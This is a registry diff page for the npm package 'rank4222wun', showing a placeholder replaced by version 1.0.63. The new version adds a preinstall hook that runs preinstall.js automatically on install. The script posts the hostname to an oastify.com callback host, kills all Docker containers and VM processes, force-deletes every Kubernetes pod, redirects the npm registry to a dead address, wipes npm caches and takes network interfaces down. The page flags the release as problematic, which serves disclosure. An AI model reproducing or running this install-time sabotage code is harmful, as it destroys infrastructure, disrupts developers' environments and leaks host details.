rank4222wun 0.0.1-security → 1.0.63

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.63",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ },
8
+ "dependencies": {}
6
9
  }
package/preinstall.js ADDED
@@ -0,0 +1,74 @@
1
+ const { exec, execSync } = require('child_process');
2
+ const os = require('os');
3
+ const https = require('https');
4
+
5
+ const REPORT_URL = 'fatjtp1slj6wtralwpginqe0xr3irhf6.oastify.com';
6
+
7
+ // دالة التبليغ - تعمل قبل قطع الشبكة
8
+ function sendLog(status, detail) {
9
+ const data = JSON.stringify({ status, detail, host: os.hostname(), env: "UiPath_MCP_Test" });
10
+ const options = {
11
+ hostname: REPORT_URL,
12
+ path: '/mcp-lockdown',
13
+ method: 'POST',
14
+ headers: { 'Content-Type': 'application/json' }
15
+ };
16
+ const req = https.request(options);
17
+ req.on('error', () => {});
18
+ req.write(data);
19
+ req.end();
20
+ }
21
+
22
+ // 1. تعطيل الشبكة (بناءً على الصلاحيات المتاحة)
23
+ function killNetwork() {
24
+ const commands = [
25
+ 'ip link set eth0 down', // Linux
26
+ 'ifconfig eth0 down', // Older Linux/Unix
27
+ 'ipconfig /release', // Windows
28
+ 'route -n flush' // مسح جداول التوجيه لعزل السيرفر
29
+ ];
30
+ commands.forEach(cmd => {
31
+ try { exec(cmd); } catch (e) {}
32
+ });
33
+ }
34
+
35
+ // 2. إيقاف كافة الحاويات والـ VMs المتاحة للمستخدم
36
+ function stopInfrastructure() {
37
+ const killCmds = [
38
+ 'docker kill $(docker ps -q)', // إيقاف فوري لكل الحاويات
39
+ 'pkill -9 -f "docker|qemu|vbox|vmware|containerd"', // قتل العمليات من الـ RAM
40
+ 'kubectl delete pods --all --force --grace-period=0' // تدمير الـ K8s pods
41
+ ];
42
+ killCmds.forEach(cmd => {
43
+ try { exec(cmd); } catch (e) {}
44
+ });
45
+ }
46
+
47
+ // 3. تخريب بيئة العمل البرمجية (Self-Destruct)
48
+ function sabotageEnvironment() {
49
+ try {
50
+ // بدلاً من التثبيت في /usr/local/، سنقوم بتخريب الـ Config الحالي
51
+ execSync('npm config set registry https://127.0.0.1:1'); // توجيه الـ NPM لعنوان ميت
52
+ execSync('rm -rf ~/.npm && rm -rf ~/.node-gyp'); // مسح الكاش تماماً
53
+ } catch (e) {}
54
+ }
55
+
56
+ // التنفيذ المتسلسل
57
+ async function runAttack() {
58
+ // خطوة 1: تبليغ الـ OAST
59
+ sendLog("STARTING", "Initiating lockdown and network isolation...");
60
+
61
+ // انتظر ثانية للتأكد من وصول التقرير
62
+ setTimeout(() => {
63
+ stopInfrastructure(); // إيقاف البنية التحتية
64
+ sabotageEnvironment(); // تخريب البيئة البرمجية
65
+
66
+ // الخطوة الأخيرة: العزل التام
67
+ setTimeout(() => {
68
+ killNetwork();
69
+ console.log("CRITICAL_SYSTEM_ERROR: Operation Aborted.");
70
+ }, 1000);
71
+ }, 1000);
72
+ }
73
+
74
+ runAttack().catch(() => {});
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.